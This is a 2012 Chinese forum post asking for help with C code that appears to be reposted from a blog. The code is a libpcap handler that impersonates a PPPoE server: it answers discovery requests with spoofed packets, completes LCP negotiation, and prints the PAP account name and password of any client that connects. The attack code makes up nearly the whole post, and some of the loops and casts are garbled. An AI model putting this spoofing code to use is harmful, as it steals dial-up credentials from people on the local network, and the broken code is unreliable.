• 本帖最后由 454309099 于 2012-12-1 22:10 编辑 *

帮个忙 。。对于loc 的大神 不难啊。
原帖: http://blog.sina.com.cn/s/blog_40b025790100feg2.html- void packet_handler(u_char param, const struct pcap_pkthdr header, const u_char *pkt_data)

  • {
  • int i;
  • struct tm *ltime;
  • char timestr[16];
  • time_t local_tv_sec;
  • MAC_header *mac_header;
  • PPP_header *ppp_header;
  • PAP_header *pap_header;
  • mac_header = (MAC_header *)pkt_data;
  • - //发现阶段
  • if (mac_header->Type == 0x6388){
  • ppp_header = (PPP_header *)((int)mac_header + sizeof(MAC_header));
  • if(ppp_header->code == 0x09){ //客户端请求发现ppp服务器 PADI
  • send_pado_packet(mac_header->MAC_Source,(INT8U *)ppp_header);
  • - puts("开始欺骗!");
  • }
  • if (ppp_header->code == 0x19 && mac_header->MAC_Destination[0] == 0x00 && mac_header->MAC_Destination[1] == 0x03 && mac_header->MAC_Destination[2] == 0x0d && mac_header->MAC_Destination[3] == 0x97 && mac_header->MAC_Destination[4] == 0xfd && mac_header->MAC_Destination[5] == 0x71) //确定使用此ppp服务器 PADR
  • {
  • puts("欺骗成功!正在建立连接!");
  • cnt = 0;
  • send_pads_packet(mac_header->MAC_Source,(INT8U *)ppp_header);
  • send_lcp_request_packet(mac_header->MAC_Source);
  • - - }
  • //exit(0);
  • }
  • //会话阶段
  • if (mac_header->Type == 0x6488) //&& mac_header->MAC_Source[0] == 0x00 && mac_header->MAC_Source[1] == 0x03 && mac_header->MAC_Source[2] == 0x0d && mac_header->MAC_Source[3] == 0x97 && mac_header->MAC_Source[4] == 0xfd && mac_header->MAC_Source[5] == 0x71)
  • {
  • //printf(".");
  • - ppp_header = (PPP_header *)((int)mac_header + sizeof(MAC_header));
  • if (ppp_header->protocol == 0x21c0 && mac_header->MAC_Source[5] != 0x71) //LCP //回应确认code
  • {
  • printf("%d\n\n",(INT8U )((int)ppp_header + sizeof(PPP_header)));
  • - if ((INT8U )((int)ppp_header + sizeof(PPP_header)) == 1){
  • if (cnt == 1){
  • puts("发送确认lcp包");
  • send_lcp_ack_packet(mac_header->MAC_Source,(INT8U *)ppp_header);
  • cnt = 0;
  • }else{
  • cnt++;
  • }
  • }
  • if ((INT8U )((int)ppp_header + sizeof(PPP_header)) == 2){
  • puts("发送拒绝lcp包");
  • send_lcp_refuse_packet(mac_header->MAC_Source,(INT8U *)ppp_header);
  • }
  • }
  • - if (ppp_header->protocol == 0x23c0) //PAP
  • {
  • puts("!!!!!!!!!!!!!!!! \n");
  • pap_header = (PAP_header *)((int)ppp_header + sizeof(PPP_header));
  • printf("帐号:");
  • for (i = 0; i idlen; i++)
  • {
  • printf("%c", ((char *)pap_header)[sizeof(PAP_header) + i -1]);
  • }
  • - printf("\n密码:");
  • - for (i = 0; i idlen + i]);
  • }
  • puts("");
  • //exit(0);
  • }
  • }
  • }复制代码